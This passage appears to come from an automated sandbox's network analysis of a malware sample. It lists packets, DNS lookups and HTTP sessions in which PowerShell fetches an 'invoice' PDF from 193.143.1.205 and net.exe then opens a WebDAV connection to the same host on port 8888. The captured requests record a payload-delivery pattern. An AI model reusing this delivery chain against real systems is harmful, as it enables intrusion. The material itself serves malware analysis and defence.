Jan 10, 2025 19:04:38.991815090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991825104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991837025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991852045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.991878033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.991980076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991997004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.992022991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.992033958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.992033958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.992047071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.992059946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.992065907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.992079020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.992084980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.992091894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.992120981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015026093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015057087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015074968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015088081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015103102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015137911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015155077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015167952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015181065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015305042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015341043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015357018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015369892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015383959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015399933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015414953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015414953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015430927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015444994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015465975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015475988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015489101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015500069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015516043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015542030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015552998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015558004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015573025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015588999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015599012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015602112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015614986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015642881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015667915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015856981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015872955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015897989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015908957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015914917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015921116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015927076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015937090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015938997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015943050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015949965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.015955925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.015988111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016279936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016295910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016319990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016328096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016343117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016357899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016364098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016374111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016381025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016387939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016401052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016407013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016413927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016433954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016493082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016594887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016609907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016623974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016638041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016653061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016685009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016753912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016774893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016789913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016799927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016799927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016803980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016819954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016832113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.016838074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.016860008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017035007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017046928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017059088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017067909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017074108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017096043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017100096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017116070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017129898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017142057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017147064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017154932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017164946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017173052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017178059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017187119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017196894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017218113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017401934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017416000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017431021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017441034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017452955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017465115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017468929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017477036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017493963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017517090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017539024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017695904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017710924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017725945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017739058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017745018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.017754078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.017770052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.020287991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082035065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082071066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082087040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082109928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082124949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082139969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082149029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082163095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082178116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082190037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082192898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082211018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082214117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082226038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082250118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082252979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082264900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082279921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082287073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082297087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082310915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082317114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082321882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082341909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082390070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082426071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082426071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082442999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082458973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082479000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082479954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082515001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082526922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082541943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082577944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082612038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082631111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082659006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082662106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082684040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082700014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082719088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.082844973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082855940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.082885027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.104346991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104365110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104382992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104397058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104415894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104428053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104439020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104453087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104523897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.104621887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104655981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.104664087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104666948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.104681015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104727030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.104760885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104773045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104784012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104794979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.104814053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.104835033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.164380074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.620302916 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.625320911 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:39.625447989 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.626439095 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:39.631211042 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:40.460195065 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:40.515670061 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:40.594965935 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:04:47.914661884 CET	58208	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:04:47.914661884 CET	192.168.2.5	1.1.1.1	0xbc99	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:04:48.121104002 CET	1.1.1.1	192.168.2.5	0xbc99	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:04:48.934070110 CET	1.1.1.1	192.168.2.5	0x4bc5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.934070110 CET	1.1.1.1	192.168.2.5	0x4bc5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1476	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:04:37.547208071 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:04:38.349391937 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:04:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:04:38.349416018 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:04:38.349427938 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:04:38.349441051 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:04:38.349456072 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 19:04:38.349467993 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 19:04:38.349482059 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 19:04:38.349514961 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 19:04:38.349529028 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 19:04:38.349540949 CET	1164	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 19:04:38.403898954 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2072	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:04:39.626439095 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
